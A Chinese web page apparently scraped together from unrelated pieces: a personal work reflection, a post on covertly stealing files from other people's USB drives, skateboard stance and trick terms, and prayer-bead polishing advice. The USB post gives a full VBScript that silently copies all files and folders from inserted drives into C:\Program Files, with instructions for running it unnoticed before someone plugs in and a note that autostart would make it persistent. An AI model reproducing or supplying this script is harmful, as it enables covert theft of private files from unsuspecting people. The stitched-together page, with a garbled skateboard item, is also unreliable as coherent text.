可能由于社会阅历有限，在交谈方面还有很大的问题，交谈方式，交谈技巧，交谈话题，这个都是需要在后期提升的，还得向辉哥多多学习才行，受益匪浅啊，看他和人家交谈总能找到话题，切入相关的话题，这个在后期同样需要加强才行啊，现在自己还处于学习的起步阶段，凡事都是多学多问，多问几个为什么，好好工作，好好学习，我相信自己在后期的成长中会慢慢的学习到这些东西，会慢慢的走上正轨，慢慢的，真正的进入这个行业。

电脑技术-不动声色偷取别人U盘文件或者别人电脑文件的绝妙方法

电脑技术-不动声色偷取别人U盘文件或者别人电脑文件的绝妙方法不动声色偷取别人U盘文件或者别人电脑文件的绝妙方法个人申明：自己原创，不得用于非法用途，仅作技术交流，也警醒人们须提高警惕。

昨天晚上突发奇想，今天终于攻破创新的难题，特此纪念一下我的作品一、用电脑偷取别人U盘文件（效果：只要别人用U盘插入电脑，电脑就像吸星大法一样将U 盘里的文件全盘吸收。

）新建一文件inout.vbs，放在自己U盘里面，在别人用U盘插电脑之前，先用自己U盘插入双击运行即可，当然也可以将该文件放在自己电脑里，在别人用U盘插入前运行即可，关机或者重启失效，除非加入自启动程序。

也可以上网下载U盘小偷、U盘搬运工等，但是没有这个方便。

set fso=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("F:\") thenfso.copyfile "F:\*","C:\Program Files"fso.copyfolder "F:\*","C:\Program Files"wscript.sleep 20000end ifwscript.sleep 1000if fso.driveexists("G:\") thenfso.copyfile "G:\*","C:\Program Files"fso.copyfolder "G:\*","C:\Program Files"wscript.sleep 20000end ifwscript.sleep 1000if fso.driveexists("H:\") thenfso.copyfile "H:\*","C:\Program Files"fso.copyfolder "H:\*","C:\Program Files"wscript.sleep 20000end ifwscript.sleep 1000if fso.driveexists("I:\") thenfso.copyfile "I:\*","C:\Program Files"fso.copyfolder "I:\*","C:\Program Files"wscript.sleep 20000end ifwscript.sleep 1000if fso.driveexists("L:\") thenfso.copyfile "L:\*","C:\Program Files"fso.copyfolder "L:\*","C:\Program Files"wscript.sleep 20000end ifwscript.sleep 1000if fso.driveexists("E:\") thenfso.copyfile "E:\*","C:\Program Files"fso.copyfolder "E:\*","C:\Program Files"wscript.sleep 20000end ifloop将上面的代码存入txt文件，更改后缀名为vbs即可。

滑板常规踩板技巧

滑板常规踩板技巧滑板项目可谓是极限运动历史的鼻祖，许多的极限运动项目均由滑板项目延伸而来。

20世纪50年代末60年代初由冲浪运动演变而成的滑板运动，在而今已成为地球上最“酷”的运动。

常规踩板技巧大搜集。

1、正常姿势(normal)：即左脚在前的regular姿势与右脚在前goofy的姿势。

2、倒滑姿势(fakie)：即以regular姿势向板尾方向滑行。

3、反脚tch)：即以与正常姿势相反的姿势(如你本来是regular则换为goofy)做各种动作。

4、nollie：姿势-将反脚姿势与倒滑姿势结合就是nollie姿势。

5、Mongo：姿势-这是一种很别扭的姿势，即以前脚滑行而将后脚置于板上的一种滑行方式。

6、空中转体(body varial)：此动作极简单，即身体跳起后于空中转体180度再落于板上，一般与其他动作如踢翻等结合。

7、ollie：即用双脚带板起跳。

这个动作是进入滑板自由世界的门槛，我想也是令许多人踏上滑板之路的原因。

(Ollie的来历:ollie这一动作由美国滑手allan gelfand首创，而他的小名就叫“ollie”。

1979年，15岁的allan在福罗理达州的好利坞市的一个滑板公园中练习，在一个碗形池中，他发现自己居然可以不用手抓板而带板腾空。

他的同伴就将这个动作称为“ollie”。

各位滑友大概想不道在79年的美国才出现这个动作吧?Allan后来成为当时最劲的.白骨队成员，但他只作了两年pro就转行搞赛车了，但这个创造的意义是不言自明了。

)8、外跳转(frontside 180 ollie)：即做ollie后，在人与板上升过程中,带板向身体背侧转体180 度后再落地。

9、内跳转(backside 180 ollie)：与上一个动作类似，是转向身体的内侧。

10、滑后轮(manual)：即滑行并保持一定的速度后，以后脚压板尾抬起前轮(板尾不着地)仅以后两轮滑行。

ollie manual则指ollie后再做此动作。

盘串的正确方法

盘串的正确方法盘串的正确手法教程：食指穿出来拇指向下翻，穿进来形成一个8字，8字向下折叠的时候拇指是关键，拇指向下压形成两个圈，食指要抽出来形成了两个圈啊托在三个手指头上。

大拇指辅助把它压住，现在大拇指向下压这个上面的圈，然后中指向上托这个下边的圈就上来了，其实就是四个手指头辅助他啊，中指向上推大拇指向下压这个圈就上来了。

1.神器盘神器是什么，某宝上搜一下“盘珠机”，还有搓澡巾也算这类吧。

这种盘法的作用就是为了抛光，现在网上有很多做星月珠子的都会做高抛，就是1000-5000目砂纸的抛光。

其实，抛光也可以用60目水砂纸的背面去做，完全可以省去很多功夫，就足够光亮了。

只不过，这样盘出来的光，只是贼光，也可以说是镜面光，而我们推崇的是玻璃光，也就是那种有润透感的晶莹的光。

2.布盘布盘除了和神器盘相同的作用外，就是为了一些大汗手的朋友可以把珠子玩的漂亮而存在。

无论什么佛珠，只要是木质的，星月这类种子也算，都怕大汗大油。

尤其是一开始，在许多籽都还是比较干涩的时候，就去泡着它，慢慢的你就会发现盘出来的籽花的厉害，或者开始发乌，然后它就越来越黑越来越黑，所以很多时候，为了珠子好，都是布盘和手盘结合，手出汗了就上布盘，没有的话就是手盘。

3.手盘这个是我支持的方法，里面也分两类，撸着盘和纯手捻着盘，前者我就不多说，绝对的武盘，也是为了挂瓷快，撸的厉害了珠子都会咯咯的响，其实不用那么用力，手不是砂纸，强撸灰飞烟灭呀，这么精辟的道理人人都懂嘛，小撸下就得了，手贴紧珠子，慢慢的撸一撸，大面积也就很快挂瓷了。

纯手盘捻是最正宗，但是也是最累最慢的，佛珠过去的用处就是计数的嘛，你慢慢的捻着就像在数数一样，而且变色挂瓷都慢。

但是玩出来的珠子是最漂亮的，颜色匀，珠子亮，表皮透，甚至你都能感觉水头很足，如玉如绸缎一般，很难相信那是一个木头发出的光彩！4.其他盘法比如说三分刷七分盘，金刚和核桃都是通用的，不过这东西仁者见仁智者见智，有脏东西的确需要刷，但是，这些坑洼不是只能靠刷才可以盘的，手是可以盘到的，只是功夫不足罢了。